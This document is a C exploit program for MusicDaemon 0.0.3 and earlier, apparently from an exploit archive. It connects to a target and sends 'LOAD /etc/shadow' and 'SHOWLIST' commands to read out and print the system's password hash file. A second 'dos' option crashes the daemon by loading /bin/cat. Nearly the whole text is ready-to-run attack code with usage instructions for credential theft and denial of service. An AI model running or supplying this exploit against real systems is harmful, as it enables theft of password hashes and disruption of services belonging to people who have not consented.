| 
 
|  | MusicDaemon <= 0.0.3 /etc/shadow Stealer / DoS Exploit
 #include <stdio.h>
 #include <stdlib.h>
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <netinet/in.h>
 
 int main(int argc, char *argv[]) {
 
 char buffer[16384];
 
 char *xpldata1 = "LOAD /etc/shadow\r\n";
 char *xpldata2 = "SHOWLIST\r\n";
 char *xpldata3 = "CLEAR\r\n";
 char *dosdata1 = "LOAD /bin/cat\r\n";
 char *dosdata2 = "SHOWLIST\r\n";
 char *dosdata3 = "CLEAR\r\n";
 
 int len1 = strlen(xpldata1);
 int len2 = strlen(xpldata2);
 int len3 = strlen(xpldata3);
 int len4 = strlen(dosdata1);
 int len5 = strlen(dosdata2);
 int len6 = strlen(dosdata3);
 
 if(argc !=  4) {
 printf("\nMusicDaemon <= 0.0.3 Remote /etc/shadow
 Stealer / DoS");
 printf("\nDiscovered and Coded by: Tal0n
 05-22-04\n");
 printf("\nUsage: %s <host> <port> <option>\n",
 argv[0]);
 printf("\nOptions:");
 printf("\n\t\tshadow - Steal /etc/shadow file");
 printf("\n\t\tdos - DoS Music Daemon\n\n");
 return 0; }
 
 printf("\nMusicDaemon <= 0.0.3 Remote /etc/shadow
 Stealer / DoS\n\n");
 
 int sock;
 struct sockaddr_in remote;
 
 remote.sin_family = AF_INET;
 remote.sin_port = htons(atoi(argv[2]));
 remote.sin_addr.s_addr = inet_addr(argv[1]);
 
 if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
 printf("\nError: Can't create socket!\n\n");
 return -1; }
 
 if(connect(sock,(struct sockaddr *)&remote,
 sizeof(struct sockaddr)) < 0) {
 printf("\nError: Can't connect to %s:%s!\n\n",
 argv[1], argv[2]);
 return -1; }
 
 printf("Connected to %s:%s...\n", argv[1], argv[2]);
 
 if(strcmp(argv[3], "dos") == 0) {
 
 printf("Sending DoS data...\n");
 
 send(sock, dosdata1, len4, 0);
 
 sleep(2);
 
 send(sock, dosdata2, len5, 0);
 
 sleep(2);
 
 send(sock, dosdata3, len6, 0);
 
 printf("\nTarget %s DoS'd!\n\n", argv[1]);
 
 return 0; }
 
 if(strcmp(argv[3], "shadow") == 0) {
 
 printf("Sending exploit data...\n");
 
 send(sock, xpldata1, len1, 0);
 
 sleep(2);
 
 send(sock, xpldata2, len2, 0);
 
 sleep(5);
 
 printf("Done! Grabbing /etc/shadow...\n");
 
 memset(buffer, 0, sizeof(buffer));
 read(sock, buffer, sizeof(buffer));
 
 sleep(2);
 
 printf("\n<*** /etc/shadow file from %s ***>\n\n",
 argv[1]);
 printf("%s", buffer);
 printf("\n<*** End /etc/shadow file ***>\n\n");
 
 send(sock, xpldata3, len3, 0);
 
 sleep(1);
 
 close(sock);
 
 return 0; }
 
 return 0; }
 
 
 
 |   
|  |  |